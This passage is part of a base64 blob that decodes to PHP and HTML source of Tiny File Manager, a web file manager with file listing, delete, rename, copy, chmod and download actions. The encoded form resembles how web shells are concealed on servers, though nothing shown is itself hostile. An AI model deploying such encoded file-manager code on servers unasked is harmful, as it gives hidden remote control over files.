VjaG8gdXJsZW5jb2RlKCRmKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAnMTAyOCcsJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIiBocmVmPVwiP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz5cIiBocmVmPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmIC4gJ1wvJykgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBmbHVzaCgpO1xuICAgICAgICAgICAgICAgICRpaSsrO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJGlrID0gODAwMjtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTtcbiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoXCJGIGQgWSBIOmk6cy5cIiwgJG1vZGlmX3JhdykpO1xuICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTtcbiAgICAgICAgICAgICAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdztcbiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICdcLycgLiAkZikpLCAtNCk7XG4gICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IFxuICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xuICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XG4gICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaWQgPSBmaWxlb3duZXIoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2luZm8gPSBwb3NpeF9nZXRwd3VpZCgkb3duZXJfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pbmZvID0gcG9zaXhfZ2V0Z3JnaWQoJGdyb3VwX2lkKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9ICAkZ3JvdXBfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9sb2coXCJleGNlcHRpb246XCIgLiAkZS0+Z2V0TWVzc2FnZSgpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPHRyPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImN1c3RvbS1jaGVja2JveC10ZFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cIjw/cGhwIGVjaG8gJGlrID8+XCIgbmFtZT1cImZpbGVbXVwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoJGYpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImN1c3RvbS1jb250cm9sLWxhYmVsXCIgZm9yPVwiPD9waHAgZWNobyAkaWsgPz5cIj48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD48P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmlsZW5hbWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiPD9waHAgZWNobyAkZmlsZWxpbmsgPz5cIiBkYXRhLXByZXZpZXctaW1hZ2U9XCI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIjw/cGhwIGVjaG8gJGZpbGVsaW5rID8+XCIgdGl0bGU9XCI8P3BocCBlY2hvICRmID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiPD9waHAgZWNobyAkaW1nID8+XCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJ1wvJyAuICRmKSAuICc8XC9pPicgOiAnJykgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPVwiYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsIFwiMFwiLCBTVFJfUEFEX0xFRlQpOyA/PlwiPjxzcGFuIHRpdGxlPVwiPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9zcGFuPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PlwiPjw/cGhwIGVjaG8gJG1vZGlmID8+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT1cIjw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz5cIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgLiAnICcgLiBsbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PlwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1saW5rXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj48aSBjbGFzcz1cImZhIGZhLWRvd25sb2FkXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgZmx1c2goKTtcbiAgICAgICAgICAgICAgICAkaWsrKztcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+XG4gICAgICAgICAgICAgICAgPHRmb290PlxuICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PlwiPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48XC9lbT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfSBlbHNlIHsgPz5cbiAgICAgICAgICAgICAgICA8dGZvb3Q+XG4gICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImdyYXkgZnMtN1wiIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6ICc3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuIGZtX2dldF9maWxlc2l6ZSgkYWxsX2ZpbGVzX3NpemUpIC4gJzxcL3NwYW4+JyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuICRudW1fZmlsZXMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpIC4gJzogPHNwYW4gY2xhc3M9XCJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMFwiPicgLiAkbnVtX2ZvbGRlcnMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocCB9ID8+XG4gICAgICAgIDxcL3RhYmxlPlxuICAgIDxcL2Rpdj5cblxuICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS05XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBmbGV4LXdyYXBcIiBkYXRhLXRvZ2dsZT1cImJ1dHRvbnNcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiI1wvc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIiNcL3Vuc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInVuc2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXdpbmRvdy1jbG9zZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCIjXC9pbnZlcnQtYWxsXCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIiBvbmNsaWNrPVwiaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXRoLWxpc3RcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSW52ZXJ0U2VsZWN0aW9uJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJkZWxldGVcIiBpZD1cImEtZGVsZXRlXCIgdmFsdWU9XCJEZWxldGVcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTtcIiBjbGFzcz1cImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMlwiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJ6aXBcIiBpZD1cImEtemlwXCIgdmFsdWU9XCJ6aXBcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKVwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlLWFyY2hpdmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdaaXAnKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiaGlkZGVuXCIgbmFtZT1cInRhclwiIGlkPVwiYS10YXJcIiB2YWx1ZT1cInRhclwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXRhcicpLmNsaWNrKCk7XCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIj48aSBjbGFzcz1cImZhIGZhLWZpbGUtYXJjaGl2ZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1RhcicpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiY29weVwiIGlkPVwiYS1jb3B5XCIgdmFsdWU9XCJDb3B5XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLWNvcHknKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMyBkLW5vbmUgZC1zbS1ibG9ja1wiPjxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wiIHRhcmdldD1cIl9ibGFua1wiIGNsYXNzPVwiZmxvYXQtcmlnaHQgdGV4dC1tdXRlZFwiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48XC9hPjxcL2Rpdj5cbiAgICAgICAgPD9waHAgZWxzZTogPz5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj48YSBocmVmPVwiaHR0cHM6XC9cL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW9cIiB0YXJnZXQ9XCJfYmxhbmtcIiBjbGFzcz1cImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWRcIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9kaXY+XG4gICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgIDxcL2Rpdj5cbjxcL2Zvcm0+XG5cbjw/cGhwXG5mbV9zaG93X2Zvb3RlcigpO1xuXG5cL1wvIC0tLSBFTkQgSFRNTCAtLS1cblxuXC9cLyBGdW5jdGlvbnNcblxuXC8qKlxuICogSXQgcHJpbnRzIHRoZSBjc3NcL2pzIGZpbGVzIGludG8gaHRtbFxuICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LlxuICpcL1xuZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSlcbntcbiAgICBnbG9iYWwgJGV4dGVybmFsO1xuXG4gICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRrZXksICRleHRlcm5hbCkpIHtcbiAgICAgICAgZWNobyBcIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+XCI7XG4gICAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBlY2hvIFwiJGV4dGVybmFsWyRrZXldXCI7XG59XG5cblwvKipcbiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkXG4gKiBAcGFyYW0gc3RyaW5nICR0b2tlblxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiB2ZXJpZnlUb2tlbigkdG9rZW4pXG57XG4gICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSlcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aClcbntcbiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7XG4gICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHtcbiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTtcbiAgICAgICAgJG9rID0gdHJ1ZTtcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xuICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0d